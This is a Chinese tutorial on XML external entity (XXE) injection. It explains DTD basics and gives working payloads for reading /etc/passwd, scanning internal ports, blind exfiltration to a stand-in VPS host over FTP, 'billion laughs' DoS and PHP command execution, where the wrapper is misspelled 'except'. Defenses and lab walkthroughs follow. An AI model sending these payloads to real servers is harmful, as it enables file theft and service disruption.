浅谈XML实体注入漏洞
字数 1375 2025-08-18 11:37:23
XML实体注入(XXE)漏洞深入解析
1. XXE漏洞概述
XXE(XML External Entity Injection)即XML外部实体注入漏洞,发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件。
危害:
- 文件读取
- 命令执行
- 内网端口扫描
- 攻击内网网站
- 发起DoS攻击
触发点:可以上传XML文件的位置,没有对上传的XML文件进行过滤。
2. XML基础知识
2.1 XML基本特性
- 设计用于传输和存储数据(不同于HTML用于显示数据)
- 独立于软件和硬件的传输工具
2.2 XML基本语法
- 所有元素必须有关闭标签
- 标签对大小写敏感
- 必须正确嵌套
- 文档必须有根元素
- 属性值必须加引号
- 空格会被保留(多个空格不会被合并)
2.3 XML实体引用
预定义的5个实体引用:
<对应 <>对应 >&对应 &'对应 '"对应 "
2.4 XML示例
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title> <!--book的子元素-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->
3. DTD(文档类型定义)
3.1 DTD基础
DTD定义合法的XML文档构建模块,使用一系列合法元素定义文档结构。
3.2 DTD声明方式
- 内部DTD:直接包含在XML文档中
- 外部DTD:通过外部引用
内部DTD示例:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
外部DTD引用语法:
<!DOCTYPE root-element SYSTEM "filename">
3.3 DTD数据类型
- PCDATA:被解析的字符数据,会被解析器检查实体和标记
- CDATA:字符数据,不会被解析器解析
3.4 DTD属性声明
语法:
<!ATTLIST 元素名称 属性名称 属性类型 默认值>
示例:
<!ATTLIST payment Hu3sky CDATA "H">
4. DTD实体
4.1 实体类型
-
内部实体:
<!ENTITY 实体名称 "实体的值"> -
外部实体:
<!ENTITY 实体名称 SYSTEM "URL"> -
参数实体:
<!ENTITY % 实体名称 "值"> 或 <!ENTITY % 实体名称 SYSTEM "URL">
4.2 实体示例
内部实体:
<?xml version="1.0"?>
<!DOCTYPE note[
<!ELEMENT note (name)>
<!ENTITY hack3r "Hu3sky">
]>
<note>
<name>&hack3r;</name>
</note>
参数实体+外部实体:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
5. XXE攻击技术
5.1 有回显的XXE攻击
文件读取示例:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<name>&xxe;</name>
</root>
内网端口扫描:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://127.0.0.1:80" >
]>
<root>
<name>&XXE;</name>
</root>
5.2 Blind XXE(无回显)
攻击流程:
- 客户端发送payload 1给web服务器
- web服务器向vps获取恶意DTD,并执行文件读取payload2
- web服务器带着回显结果访问VPS上特定的FTP或HTTP
- 通过VPS获得回显(nc监听端口)
Payload 1(客户端):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://vps/test.xml">
%remote;
]>
Payload 2(test.xml内容):
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://VPS:21/%payload;'>">
%int;
%trick;
5.3 DoS攻击
递归实体引用示例:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
5.4 命令执行
PHP环境示例:
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
6. XXE防御措施
6.1 禁用外部实体
PHP:
libxml_disable_entity_loader(true);
Java:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))
6.2 其他防御措施
- 过滤用户提交的XML数据中的关键字:
<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC - 不允许XML中含有自定义的DTD
- 使用更安全的JSON替代XML
7. 实际案例分析
7.1 bWAPP平台XXE漏洞
攻击过程:
- 拦截XML数据提交请求
- 添加恶意外部实体定义
- 在XML数据中调用该实体
Payload示例:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY hu3sky SYSTEM "file:///etc/passwd">
]>
<reset><login>&hu3sky;</login><secret>Any bugs?</secret></reset>
7.2 JarvisOJ API调用题
解题思路:
- 发现API接受JSON数据
- 尝试将JSON改为XML格式
- 构造恶意XML进行文件读取
8. 总结
XXE漏洞是一种危险的XML解析漏洞,攻击者可以利用它读取服务器文件、扫描内网、执行DoS攻击等。防御XXE的关键在于禁用外部实体加载,并对用户提交的XML数据进行严格过滤。开发人员应了解XML解析的安全风险,并采取适当的防护措施。